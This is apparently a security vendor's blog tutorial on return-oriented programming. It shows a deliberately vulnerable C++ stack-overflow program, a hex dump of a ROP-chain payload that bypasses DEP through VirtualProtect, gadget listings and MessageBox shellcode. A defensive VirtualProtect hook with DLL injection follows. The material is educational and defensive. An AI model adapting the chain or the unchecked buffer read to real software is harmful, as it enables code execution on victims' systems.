Logo
blank Skip to main content

ROP Chain. How to Defend from ROP Attacks (Basic Example)

Software is never made perfect and developers can never account for everything. There will always be errors and misses, some of them more prominent than others. Malicious perpetrators often exploit such vulnerabilities to get control over the software in question. And while there is no way to eliminate every possible error, it is possible to protect your software from zero day atatcks and exploits by focusing your efforts and attention on the parts that matter.

If you know how perpetrators are finding and using vulnerabilities, you can account for it and protect your software contributing to true proactive security

In this tutorial, we will focus on ever prominent stack overflow exploits, describe the basics of ROP chains, and give some examples of how they work and how to code executable to defend from ROP attacks.

We hope that this will provide you some food for thought and become a stepping stone on your journey to writing more secure software in the future. And if you need an expert in reverse engineering with skills in creating secure software, you can always contact Apriorit.

What is ROP?

ROP is an acronym that stands for return-oriented programming.  This is a specific technique that uses exploits to overcome such defenses as code signing and W xor X technique (non-executable memory) in order to allow a perpetrator to execute their own malicious code.

Hackers can easily load your shellcode in the stack or the heap but they canโ€™t start executing it at once. Exploiting memory corruption created by shellcode injection, the hacker gets the control over EIP and jumps to his code using a chain of carefully chosen ROP gadgets.

ROP gadget is a set of assembler instructions ending with ret instruction or analogs. ROP gadgets may look like this:

ShellScript
0x1000b516 : pop eax ; pop ebp ; ret
0x10015875 : pop eax ; pop ebp ; ret 0x1c
0x1000ffe3 : pop eax ; pop ecx ; xchg dword ptr [esp], eax ; jmp eax

Fortify your software against cyber threats

Ensure robust cybersecurity within all your solutions and projects by leveraging Apriorit’s rich expertise and experience in security engineering.

Attack

An attack using the ROP chain is possible if there is a vulnerability in the target application. Windows has two main ways to safeguard software: Data Execution Prevention or DEP, as well as Address Space Layout Randomization or ASLR.

Address Space Layout Randomization makes it difficult to hardcode addresses/memory locations by making predicting them very difficult. This, in turn, makes it very difficult to create a solid exploit. It is achieved by randomizing heap, stack, and module base addresses. Data Execution Prevention works by preventing code from being executed on the stack.

These mechanisms also can be bypassed with more advanced technics. DEP can be bypassed by calling memory allocation/protection functions from the application import address table (IAT). Some examples of such functions:

Some of such calls are:

  • VirtualAlloc(MEM_COMMIT + PAGE_READWRITE_EXECUTE) + copy memory. This function provides the ability to make a new memory region where the hacker can then copy the shellcode and run it. In order to do this, hackers most often will need to chain two APIs together.
  • SetProcessDEPPolicy(). With this function, a perpetrator can change the DEP policy for the process, which ultimately allows for the shellcode to be executed from the stack. It works only on Windows XP SP3, Vista SP1, and Server 2008 and requires DEP Policy to be set to OptOut or OptIn.
  • VirtualProtect(PAGE_READ_WRITE_EXECUTE). It allows hackers to mark the location with the shellcode as an executable for the memory page in question. It is made possible by changing the access protection level.
  • NtSetInformationProcess(). DEP policy for the current process can be changed using this function. It allows perpetrators to execute shellcode from the stack.
  • WriteProcessMemory(). This function allows the perpetrator to copy the shellcode to another location, allowing them to jump there and run it. This means, however, that the target location needs to be writable and executable.
  • HeapCreate(HEAP_CREATE_ENABLE_EXECUTE) + HeapAlloc() + copy memory. Very similar to the first function mentioned (VirtualAlloc), it requires the perpetrator to chain three APIs into each other to work.

Bypass of ASLR is possible by determining the load address of desired modules (for example, kernel32.dll) and generating proper addresses for the whole ROP chain.

Letโ€™s consider an example of an application with a stack overflow vulnerability. This program allows an attacker to overwrite the return address in the stack frame and set EIP to the desired value, thus executing code from the stack. For the sake of simplicity, in this article the application supports only DEP protection and does not support ASLR protection โ€“ we disable this option via Visual Studio project properties:

ASLR protection in Visual Studio is disabled to help demonstrate the exploit

The simplest application with stack overflow issue may look like this:

C
std::ifstream fileStream("C:\\test.txt", std::ifstream::binary);
    if (fileStream) 
    {
      // get length of file:
      fileStream.seekg(0, fileStream.end);
      const int length = fileStream.tellg();
      fileStream.seekg(0, fileStream.beg);
      char smallBuffer[25] = {0};
      std::cout << "Reading " << length << " characters... ";
      // read data as a block:
      fileStream.read(smallBuffer,length);
      if (fileStream)
      {
        std::cout << "all characters read successfully.";
      }
      else
      {
        std::cout << "error: only " << fileStream.gcount() << " could be read";
      }
      fileStream.close();

As you may see โ€“ the stack overflow issue can be easily achieved. However, in order to build this code in Visual Studio 2015 which is used in this article, we need to add

C
#pragma check_stack(off)

This app can be built using any other build environment without that option.

File test.txt which is read by the application contains an ROP chain. ROP chain is specifically designed to bypass DEP protection and call our code.

In the hex editor test.txt looks like this:

ShellScript
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 31 32 33 34 31 32 33 34
74 74 74 74 31 32 33 34 31 32 33 34 31 32 33 34
31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34
31 32 33 34 74 74 74 74 31 32 33 34 31 32 33 34
31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34
31 32 33 34 31 32 33 34 BA E3 83 6A 00 20 88 6A
FF FF FF FF 00 00 00 00 00 00 00 00 88 D5 84 6A
AB CF 82 6A 75 B9 85 6A 8E 4E 83 6A 00 F0 FF FF
A0 10 00 00 40 00 00 00 00 20 88 6A F8 60 83 6A
E5 FF 82 6A 00 20 88 6A F8 FF FF FF 6F 28 83 6A
6F 28 83 6A 78 BE 83 6A BA 25 84 6A BE 3C 85 6A
DE 10 83 6A 31 32 33 34 A3 5E 83 6A A3 5E 83 6A
A3 5E 83 6A 5B 5E 83 6A 56 16 83 6A FB 22 85 6A
D3 F3 85 6A 8B F4 81 C4 1C FF FF FF EB 22 75 73
65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65
42 6F 78 41 00 90 90 90 90 90 90 90 90 90 90 90
8D 46 0A 50 3E FF 15 60 50 88 6A 8B C8 8D 5E 15
53 51 3E FF 15 AC 50 88 6A FF D0 CC

In this file ROP chain begins with ba e3 83 6a (0x6a83e3ba). This is a place in a file after a crash where EIP points to. ROPgadget.py is a utility to gather possible ROP gadgets for a given module. It was used to get ROP gadgets for msvcp140.dll. In order to prepare proper addresses for the ROP chain, we need to determine a load address of msvcp140.dll and a base address of msvcp140.dll. This load address is constant during the Windows sessions since we disabled ASLR support before.

If we run our application on the testing environment we can see that the load address of msvcp140.dll in this Windows session will be 6a880000:

Determining the load address of msvcp140.dll to calculate the proper ROP gadget address

Using IDA-Pro we can determine that the base address for msvcp140.dll is 1000000

Getting the base address of msvcp140.dll to calculate the proper ROP gadget address

So the proper address for ROP gadgets will be calculated the next way:

6a880000 – 1000000 + gadgetAddress = address to place in the file.

Read also

Detecting Hook and ROP Attacks: Methods with Examples

Safeguard your applications from hooks and return-oriented programming (ROP) attacks. Our developers offer some valuable tips and tricks to help you enhance your software’s security against sophisticated threats.

Learn more
how to detect Hook and ROP Attacks

ROP chain is specifically designed to bypass DEP by calling VirtualProtect() function and then call our code in protected memory. The first thing that we need in an ROP chain is to prepare a stack for the execution of Virtual Protect with flNewProtect parameter == PAGE_EXECUTE_READWRITE. It can be achieved in few steps:

1)    charge registers with useful parameters. Particularly we want to fill edi with gadget address 0x1002d588 to acquire a stack

ShellScript
0x1001e3ba : pop eax; pop edi; pop esi; pop ebp; ret 

2)    acquire a stack

ShellScript
0x1002d588 : and edi, esp; add byte ptr&#91eax&#93, al; ret 0x18

3)    configure a stack for calling VirtualProtect. We need to place VirtualProtect call address from application IAT, return address and parameters continuously into the stack

ShellScript
0x1000cfab : mov eax, edi; pop edi; pop esi; pop ecx; pop ebp; ret
0x1001286f : add eax, 6; ret
0x1001286f : add eax, 6; ret
0x1001be78 : add dword ptr[eax], eax; ret
0x100225ba : add eax, ebp; ret
0x10033cbe : add dword ptr[eax], 2; ret
0x100110de : mov ecx, eax; mov eax, ecx; pop ebp; ret
0x10015ea3 : mov eax, dword ptr[eax]; ret
0x10015ea3 : mov eax, dword ptr[eax]; ret
0x10015ea3 : mov eax, dword ptr[eax]; ret
0x10015e5b : mov dword ptr[ecx], eax; ret
0x10011656 : mov eax, ecx; ret

4)    restore ESP to the position where VirtualProtect call starts

ShellScript
0x100322fb : xchg eax, esp; ret

5)    when VirtualProtect function returns the next chain of gadgets executed in order to move ESP to the code payload that was placed in the test.txt right after our ROP chain:

ShellScript
6a834e8e c22000     ret     20h
6a8360f8 c21800     ret     18h
a8310de 8bc8        mov ecx, eax; mov eax, ecx; pop ebp; ret
6a85f3d3 fff4       push esp; ret

After execution of VirtualProtect, we have 0x1000 of writeable and executable memory to execute anything we want. In this article, MessageBox will be called. Code of payload for calling MessageBox function looks like this:

C
unsigned char payload[] = { 0x8B, 0xF4,                               
// mov         esi,esp
                            0x81, 0xC4, 0x00, 0x00, 0x10, 0x00,       
// add esp, 0x100000
                            0xEB, 0x22,                               
// skip data section
                            0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00,
                            0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x41, 0x00,
                            0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
                            0x90, 0x90, 0x90, 0x90,
                            0x8D, 0x46, 0x0A,                         
// lea eax, [esi + A]
                            0x50,                                     
// push        eax  
                            0x3E, 0xFF, 0x15, 0x60, 0x50, 0x88, 0x6a, 
// call        dword ptr ds:[6a885060h] //LoadLibrary 0x6a885060
                            0x8B, 0xC8,                               
// mov         ecx,eax 
                            0x8D, 0x5E, 0x15,                         
// lea         ebx,[esi+15h] 
                            0x53,                                     
// push        ebx
                            0x51,                                     
// push        ecx
                            0x3E, 0xFF, 0x15, 0xac, 0x50, 0x88, 0x6a, 
// call        dword ptr ds:[6a8850ach] //GetProcAddress 0x6a8850ac
                            0xFF, 0xD0,                               
// call        eax
                            0xCC };

Letโ€™s test our ROP chain:

Testing ROP exploit
 

This is an example of the stack overflow ROP exploit, which we used to call our code (which also can be harmful). Letโ€™s consider how we can create a functional defense against such attacks.

Read also

DDoS Attacks: Technique Overview and Mitigation Best Practices

Explore the most common types of DDoS attacks and learn effective techniques to detect and mitigate them. Our experts offer their practical recommendations to help your development team build secure and resilient web applications.

Learn more
blog-115-article-3.jpg

Defense

It is clear that in order to call some code on a stack of the application ROP chain MUST bypass DEP protection. ROP chain in this article bypasses it by calling the VirtualProtect function. So if we want to protect our software against ROP attacks we could consider protection against calls that can alter memory attributes.

Letโ€™s consider an example of protection against the ROP chain implemented in the previous paragraph. The main feature of such ROP โ€“ it calls VirtualProtect(). We want to somehow prevent the call of the VirtualProtect() function. For such purposes, we can consider the API hooking mechanism and its injection into processes that we want to protect.

In this article, for API hooking we use mhook library. With this library the code for VirtualProtect() hooking may look like:

C
// Original function
PVIRTUAL_PROTECT OriginalVirtualProtect =
(PVIRTUAL_PROTECT)::GetProcAddress(::GetModuleHandle(L"kernel32"), "VirtualProtect");
// Hooked function
BOOL WINAPI HookedVirtualProtect(
    _In_  LPVOID lpAddress,
    _In_  SIZE_T dwSize,
    _In_  DWORD  flNewProtect,
    _Out_ PDWORD lpfOldProtect
)
{
    if (flNewProtect != PAGE_EXECUTE_READWRITE)
    {
        return OriginalVirtualProtect(lpAddress, dwSize, flNewProtect, lpfOldProtect);
    }
    else
    {
        std::cout << "\nNailed a hacker trying to bypass DEP!!!" << std::endl << std::endl;
        system("pause");
        return 0;
    }
}

We check if VirtualProtect() tries to patch memory with PAGE_EXECUTE_READWRITE attributes and return 0 (function fails) if it does.

To set such hook we call Mhook_SetHook() function from DllMain():

C
INT APIENTRY DllMain(HMODULE hDLL, DWORD Reason, LPVOID Reserved)
{
    switch (Reason)
    {
    case DLL_PROCESS_ATTACH:
        Mhook_SetHook(reinterpret_cast<PVOID*>(&OriginalVirtualProtect), HookedVirtualProtect);
        break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}

Read also:
Detecting Hook and ROP Attacks: Methods with Examples

The last thing that we need is to inject this protective code into our process. This can be accomplished in the following way:

1)    Create a suspended process of the vulnerable application:

C
const std::wstring pathToApp(argv[1]);
BOOL res = ::CreateProcessW(
    NULL,
    const_cast<LPWSTR>(pathToApp.c_str()),
    NULL,
    NULL,
    FALSE,
    CREATE_SUSPENDED,
    NULL,
    NULL,
    &si,
    &processInfo
);

2)    Inject a call of LoadLibraryA into the vulnerable application using CreateRemoteThread() function call (Actually CreateRemoteThread() is not the best way to inject code into processes because it can easily be prevented by special software and was chosen as the simplest way to demonstrate protection):

C
        LPVOID addr = reinterpret_cast<LPVOID>(GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"));
...
        LPVOID arg = reinterpret_cast<LPVOID>(::VirtualAllocEx(processInfo.hProcess, NULL, strlen(gPathToDll), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE));
...        
        res = ::WriteProcessMemory(processInfo.hProcess, arg, gPathToDll, strlen(gPathToDll), NULL);
...
        ATL::CHandle thread(::CreateRemoteThread(processInfo.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL));
...

3)    Resume the main thread of the vulnerable application:

C
const DWORD err = ::ResumeThread(processInfo.hThread);

Letโ€™s test our security code injection into the vulnerable application.

ROP exploit defense is working

Protection against ROP attacks works! And this is only one way of protection โ€“ there are many other approaches. If you’re interested in writing secure applications, check out our article on typical web application security issues and ways to solve them.

Related project

Improving a SaaS Cybersecurity Platform with Competitive Features and Quality Maintenance

Explore our clientโ€™s success story of enhancing their platform’s cybersecurity posture and expanding its functionality. Find out how Apriorit experts managed to make the client’s platform stable and competitive.

Project details
Improving a SaaS Cybersecurity Platform with Competitive Features and Quality Maintenance

Conclusion

Understanding how attackers find and exploit vulnerabilities is very important for implementing proactive security measures. In this article, we covered the fundamentals of stack overflow exploits and ROP chains, providing examples of how they operate and how to code executables to defend against ROP attacks.

With this article, you can take significant steps toward writing more secure software. Achieving true security is an ongoing process that requires continuous learning and adaptation. If you need expert assistance in reverse engineering and developing secure software, the team at Apriorit is ready to help you enhance your security posture.

Want to secure your systems with advanced engineering?

Get resilient and secure software with data and operations remain protected by outsourcing software development to Apriorit’s skilled engineers.

Have a question?

Ask our expert!

Michael-Teslia
Michael Teslia

Program Manager

Tell us about
your project

...And our team will:

  • Process your request within 1-2 business days.
  • Get back to you with an offer based on your project's scope and requirements.
  • Set a call to discuss your future project in detail and finalize the offer.
  • Sign a contract with you to start working on your project.

Do not have any specific task for us in mind but our skills seem interesting? Get a quick Apriorit intro to better understand our team capabilities.